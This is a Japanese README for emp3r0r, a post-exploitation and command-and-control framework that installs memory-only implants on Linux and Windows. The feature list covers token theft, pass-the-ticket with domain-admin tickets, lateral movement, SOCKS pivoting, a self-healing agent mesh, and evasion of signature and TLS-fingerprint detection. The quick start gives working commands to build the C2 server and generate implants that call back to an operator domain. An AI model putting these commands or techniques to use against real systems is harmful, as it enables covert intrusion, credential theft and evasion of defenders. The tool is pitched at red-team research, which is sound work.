
emp3r0r v4.15.0
自己修復型 Gossip Mesh C2、支援付きピア発見、クロスプラットフォーム BOF 実行、スクリプト可能なエージェント
emp3r0r
LinuxとWindows向けの自己修復型、メモリのみで動作するC2 — リンクが切れても生き残り、ディスクに一切触れず、Win32 APIをスクリプトで操作するエージェント。
emp3r0rとは?
emp3r0rは、ステルス性と耐障害性が必須となるLinuxおよびWindows環境向けに構築されたポストエクスプロイテーションフレームワーク兼C2です。単一のサーバーへの信頼できる接続を前提とするのではなく、エージェントは自己修復型のメッシュを形成し、リンクが切れても動作し続けます。ターゲットにPythonやPowerShellを要求する代わりに、すべてをメモリ内で実行します。そして、単一プラットフォームの手法に限定するのではなく、emp3r0rはWindows BOF、Linuxオブジェクト、Starlarkスクリプトを実行します — すべてファイルレスで、すべてプロセス内で。
主なハイライトと独自機能
🐍 スクリプト可能なエージェント(組み込みStarlarkエンジンとWin32 APIプロキシ)
すべてのエージェントは独自のスクリプトエンジンを搭載しているため、バイナリをコンパイルしたり配布したりすることなく、新しいポストエクスプロイテーションロジックを投入できます。
- スクリプトは完全にメモリ内で実行されます — ターゲットにPython、Bash、PowerShellは不要で、コマンドインタプリタも起動しません。
- ファイルI/O、HTTP、コマンド実行などをカバーする組み込みAPIのフルセットを、スクリプトコードから直接利用できます。
- Windowsでは、スクリプトからネイティブのWin32関数を直接呼び出せます — エージェントはシステムDLLへ直接プロキシします。
- モジュールは小さなJSONマニフェストを伴う単なるStarlarkファイルなので、独自のモジュールを簡単かつファイルレスで追加できます。
これが重要な理由: エージェント機能の記述と拡張が、スクリプトを編集するのと同じくらい簡単になり、ターゲットにインタプリタや新しいバイナリを配置するフットプリントが一切なくなります。
🔐 TOFU暗号学的アイデンティティピンニング
エージェントは、あなたと初めて通信した時点でそのアイデンティティを暗号鍵にバインドします — そしてそのバインドは決して変わりません。
- 異なる資格情報での再登録はなりすましとして扱われ、拒否されます。
- エージェントの削除はオペレータの明示的な判断であり、盗まれた鍵が密かに行えることではありません。
これが重要な理由: セッションハイジャックやエージェントのクローン化はそもそも発生しません。あなたが通信するすべてのエージェントは、あなたが登録したそのエージェントです。
🔒 完全前方秘匿性(PFS)
すべてのC2およびピアリンクは、セッション由来の暗号化鍵を伴う一時的なECDH鍵を使用します。
これが重要な理由: 長期鍵が後で侵害されたとしても、すでに通過したトラフィックの復号には使用できません。
🕸️ 自律型P2Pゴシップメッシュネットワーク
エージェントは互いを発見し、ゴシップメッシュを通じてトラフィックを中継するため、1つのリンクや1つのサーバーが消えてもオペレーションは崩壊しません。
- ピアはカモフラージュされたmTLS 1.3または信頼性のあるUDP(KCP)で接続し、すべてのホップが暗号化されます。
- トラフィックは死んだリレーを自動的に迂回します — オペレーション中に手動でプロキシを操作する必要はありません。
- C2への直接アクセスがないセグメントでも、隣接ノードを通じて到達可能なままです。
これが重要な理由: ネットワークがあなたの代わりにピボットを行います。リンクを切断し、マシンを失い、あるいはC2をブロックしても、エージェントは自力で再ルーティングします。
📂 P2Pファイルシステム
ファイルはC2経由だけでなく、エージェント間で直接移動します。
- 転送は暗号化されたピアツーピアトンネルを経由するため、内部ネットワークがあなたのサーバーでボトルネックになることはありません。
- ファイルは暗号化されたブロブとしてエージェントのメモリにキャッシュされ、要求に応じてピアに提供されます。
- どのピアもファイルを持っていない場合、エージェントはC2から自動的に取得します。
これが重要な理由: 配信は高速で、C2チャネルからはほとんど見えません — エグレスが制限された環境に最適です。
📡 マルチプロトコルリスナーとプラグ可能なステージャー
エージェントを侵入させることは、それを生かし続けることと同じくらい真剣に扱われます。
- 信頼性のあるフレーミングとカスタマイズ可能なHTTPプロファイルを備えたHTTP、TCP、UDPリスナー。
- 直接Linuxシステムコールに基づいて構築された約2KBのステージャー — ターゲットにlibcもツールチェーンも不要。
- プラグ可能なステージャートランスポートと自己展開型パッカーにより、初期アクセスをターゲットが許可する任意のチャネルに溶け込ませ、その過程で静的シグネチャマッチングを回避できます。
- ステージとエージェントのコードは読み取り/書き込み/実行の規律を守ります — RWXは決して使用しません。
これが重要な理由: 小さく、適応性があり、メモリ衛生に優れた初期アクセスにより、そうでなければ手の届かないホストにも侵入できます。
🧩 ネイティブなクロスプラットフォームBOFおよびPICOサポート(COFF、ELF、PICO)
コンパイル済みのCモジュールをどちらのプラットフォームでもプロセス内で実行します:
- 型付き引数パッキングを備えたWindows COFF/BOFバイナリ。
- エージェントのメモリに直接ロードされるLinux ELF再配置可能オブジェクト。
- SilentMoonwalkコールスタックスプーフィングを備えたCrystal-Kit PICOモジュール。
- Kerbeus-BOF、Remote-OPs、およびSituational Awarenessスイートがすぐに使える状態で同梱されています。
これが重要な理由: BOFはそのローダー次第です — emp3r0rはLinuxとWindowsの両方で、新しいプロセスも痕跡も残さずにプロセス内でそれらを実行します。
🔑 Windowsトークン、Netonlyセッション、Kerberosチケット(PTT)
Windowsホストに侵入したら、emp3r0rはツールを一切配置することなく、そのホスト上のユーザーになりきることを可能にします。
- 実行中の任意のプロセスからアクセストークンを窃取し、あらゆる場所で使用できます: Goモジュール、Starlark、BOF。
- モジュールの
--userフラグで使い捨てのnetonlyセッションを作成できます: これらはエージェント自身のアイデンティティを保持し、アウトバウンドアクセスのためだけにターゲットユーザーを借用します — 任意のパスワードが機能し、何も検証されません。 --ticketフラグでKerberosチケットをインポートし、完全なパス・ザ・チケットを実現します: ネットワーク上のアイデンティティはチケットのもの(例えばドメイン管理者)になりますが、ローカルのアイデンティティは決して変わりません。- すべてのトークン対応モジュールは
--token、--user、--ticketを受け付けるため、アイデンティティの切り替えはフラグ1つです — 単一のコマンドでセッションを作成しチケットをロードすることも含めて。 - チケットはログオンセッションごとに存在するため、DAの素材は破棄可能なセッションに隔離されたままとなり、エージェントプロセス自体はクリーンに保たれます。
これが重要な理由: エージェントが一切動作していないマシンへのラテラルムーブメント — SMB共有、サービス制御、CIFS — が、ディスク上のツールとしてではなく、借用したユーザーとして認証され、ワークフローの通常の一部になります。
🧦 SOCKS5ピボットとオペレータ側tun2socks
別のインプラントを消費せずにピボット: C2は選択したエージェントを経由して中継するSOCKS5プロキシを実行し、オペレータ側は透過的なTUNデバイスでさらに一歩進められます。
socks_start 1080は、選択したエージェントを通じてトンネルするSOCKS5エンドポイントをC2上に提供します — proxychainsや任意のツールをそこに向ければ、ターゲットネットワークの内部に入れます。tun2socks start --route 10.10.0.0/24は、指定したサブネットのみをそのプロキシ経由でルーティングするTUNデバイスを作成します — それ以外はすべて通常の接続を使い続けます。- 結果はエージェントから発信されたように見え、ツールごとのプロキシ設定は不要です。
これが重要な理由: エージェント側のネットワーク全体に透過的に到達できます — DCにcurlし、任意のツールを使用 — エグレスはオペレータのマシンではなく、ターゲットネットワークから来ているように見えます。
🎭 プラグ可能なC2トランスポート、uTLS JA3回避、CBORプロトコル
- ビーコン形式のHTTPポーリングまたはストリーミングHTTP/2を選択できます — どちらも可鍛性のあるプロファイルを備えています。
- TLSフィンガープリントはuTLSでランダム化されるため、チャネルはネットワークテレメトリで目立ちません。
- 制御トラフィックはコンパクトなCBORプロトコルを経由します — JSONよりも小さく、高速で、解析が困難です。
これが重要な理由: C2チャネルは通常のトラフィックのように見え、ワイヤー上で軽量に保たれるよう作られています。
💾 暗号化されたメモリファーストストレージ
- エージェントのファイル操作は、メモリ内のAES-GCM暗号化仮想ファイルシステムに対して実行されます。大きなデータは、識別可能なヘッダーのない暗号化ブロブとしてのみディスクに流出します。
- P2P対応エージェントは取得したものをキャッシュし、ピアと共有することで、C2トラフィックをさらに削減します。
これが重要な理由: ディスクさえも敵対的と見なされます — エージェントは発見されうる平文のアーティファクトを一切残しません。
クイックスタート
1. C2サーバーのインストール
emp3r0rのビルドにはホスト上にDockerまたはPodmanが必要です — ローカルのGoツールチェーンは不要です。
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
./install.py
インストーラーは使い捨てコンテナ内ですべてをビルドし、オペレータキットを準備します。便利なフラグ: --lightweight(Linux/Windows amd64のみ、最速)、--targets OS/ARCH,...、--debug、--skip-build。
サーバーを起動します:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
2. オペレータマシンのセットアップ
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py
サーバーが出力したWireGuard資格情報を使用して接続します:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' --server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' --operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
3. エージェントペイロードの生成
オペレータコンソール内で:
# Direct C2 agent
generate --type linux_executable --arch amd64 --cc your.domain.com
# Mesh gateway agent (also reachable from the C2 directly)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
# Mesh intermediate peer (relays for other agents)
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
# Windows mesh peer over SMB named pipes (local \\.\pipe, cross-host \\host\pipe),
# AES-GCM framed like the other transports
# (requires the Windows SMB stack / logon session to reach the peer)
generate --type windows_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport smb
メッシュノードは異なるトランスポートで動作してもかまいません。各エージェントは自身のリレーがリッスンするトランスポートとポートをアドバタイズし、ダイヤラーは常にピアのアドバタイズされたトランスポートを使用するため、混在したメッシュ(例えばWindows SMBノードとLinux mTLSノードの共存)は、全員がローカルのデフォルトで動作していると仮定するのではなく、使用可能なトランスポートを共有するピアを経由してルーティングします。smbはWindowsペイロードに対してのみ受け付けられます。kcp/mtlsはどこでも動作します。
ドキュメントとリソース
- 📝 セキュリティポリシー: SECURITY.md
- 📜 変更履歴: CHANGELOG.md
- 🛠️ モジュール開発ガイド: core/modules/module_development_guide.md
開発のサポート
emp3r0rがあなたのセキュリティ研究やテストにおいて価値あるものとなったなら、GitHub Sponsorsを通じて継続的な開発を支援することをご検討ください。